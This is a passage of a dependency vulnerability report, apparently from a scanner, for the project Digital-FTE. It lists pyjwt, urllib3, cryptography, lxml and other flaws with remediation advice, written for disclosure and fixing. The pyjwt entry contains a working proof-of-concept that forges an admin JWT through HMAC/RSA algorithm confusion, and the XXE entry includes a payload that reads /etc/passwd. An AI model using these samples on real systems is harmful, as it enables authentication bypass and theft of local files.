Vulnerabilities

63 via 621 paths

Dependencies

70

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 63
  • 4
Severity
  • 3
  • 35
  • 27
  • 2
Status
  • 67
  • 0
  • 0

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via is_pem_format() in jwt/utils.py, which fails to recognize certain loader-accepted PEM formatting variants as valid PEM. The fix for CVE-2022-29217 rejects an asymmetric key passed to an HMAC algorithm only when is_pem_format() identifies the key as PEM-encoded. Because the old regex does not match all PEM variants that the underlying cryptography library's loader accepts, an attacker can supply a non-standard but loader-accepted PEM key to bypass the asymmetric-key-as-HMAC-secret guard, enabling signature forgery.

Note: This is only exploitable when the application accepts a user-influenced key or algorithm selection that allows an asymmetric public key to be used as an HMAC secret.

Remediation

Upgrade PyJWT to version 2.14.0 or higher.

References

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the from_jwk function in jwt/algorithms.py, which accepts an HMAC JWK containing an empty key ("k": "") without raising an error. An attacker who can supply a JWK with an empty k value can cause tokens to be signed and verified with a zero-length HMAC secret, effectively bypassing signature security and allowing arbitrary token forgery.

Remediation

Upgrade pyjwt to version 2.14.0 or higher.

References

critical severity

Open Redirect

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Open Redirect via the fetch_data method in jwt/jwks_client.py, which follows HTTP redirects when fetching a JWK Set from a remote URI. An attacker who can influence the JWKS endpoint URL or perform a MitM attack can redirect the request to an arbitrary server, causing the client to send its request headers (potentially including authorization or other sensitive headers) to an attacker-controlled host, and to accept a forged JWK Set that undermines signature verification.

Remediation

Upgrade PyJWT to version 2.14.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via HTTPResponse._update_chunk_length() in response.py, where the chunk-size line in a chunked transfer-encoded response is read with an unbounded readline() call. A malicious server can send a Transfer-Encoding: chunked response followed by an unterminated chunk-size line of arbitrary length, forcing the client to buffer the entire run in memory before the read can be rejected, causing memory exhaustion.

Note: This is only exploitable when the client connects to a malicious or compromised server, and applies only to the chunk-size line read, not to chunk body data.

Remediation

Upgrade urllib3 to version 2.8.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.31.0, spotipy@2.23.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to linkedin-api@2.2.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to spotipy@2.24.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Improper Authentication

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Improper Authentication when decoding JSON Web Tokens. An attacker can forge valid tokens by supplying a public key as the secret for the HMAC algorithm when both asymmetric and HMAC algorithms are supported.

PoC

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Remediation

Upgrade pyjwt to version 2.13.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@49.0.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the build_chain_inner function. An attacker can cause excessive resource consumption by submitting a certificate chain containing duplicate self-signed intermediates, which leads to exponential path-building and significant delays in certificate validation.

Remediation

Upgrade cryptography to version 49.0.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@48.0.1.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the ASN.1 decoder. An attacker can crash the application or cause memory beyond the end of the input buffer to be loaded into the decoded ASN.1 object, by supplying very large input data. Applications that pass untrusted input to d2i_X509(), d2i_PKCS7(), or other d2i_* functions are affected. OpenSSL command line tools are not.

Note: Only 64-bit Unix-like systems are vulnerable.

Remediation

Upgrade cryptography to version 48.0.1 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: lxml
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › lxml@5.4.0
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the iterparse or ETCompatXMLParser functions when resolve_entities is set to allow external entities. An attacker can access local files by providing crafted XML input containing external entity references.

Workaround

This vulnerability can be mitigated by explicitly setting the resolve_entities option to resolve_entities='internal' or resolve_entities=False.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade lxml to version 6.1.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: msgpack
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › cachecontrol@0.14.0 › msgpack@1.0.5
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

msgpack is an efficient binary serialization format.

Affected versions of this package are vulnerable to Use After Free in the unpacker' when it is reused after an error has occurred. An attacker can cause a crash or denial of service by repeatedly triggering errors and reusing the same unpacker` instance with untrusted input.

Workaround

This vulnerability can be mitigated by creating a new unpacker instance instead of reusing one after an error, and by discarding the Stream and Streaming Unpacker if an error occurs during streaming unpacking.

Remediation

Upgrade msgpack to version 1.2.1 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: google-api-python-client@2.198.0 and firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
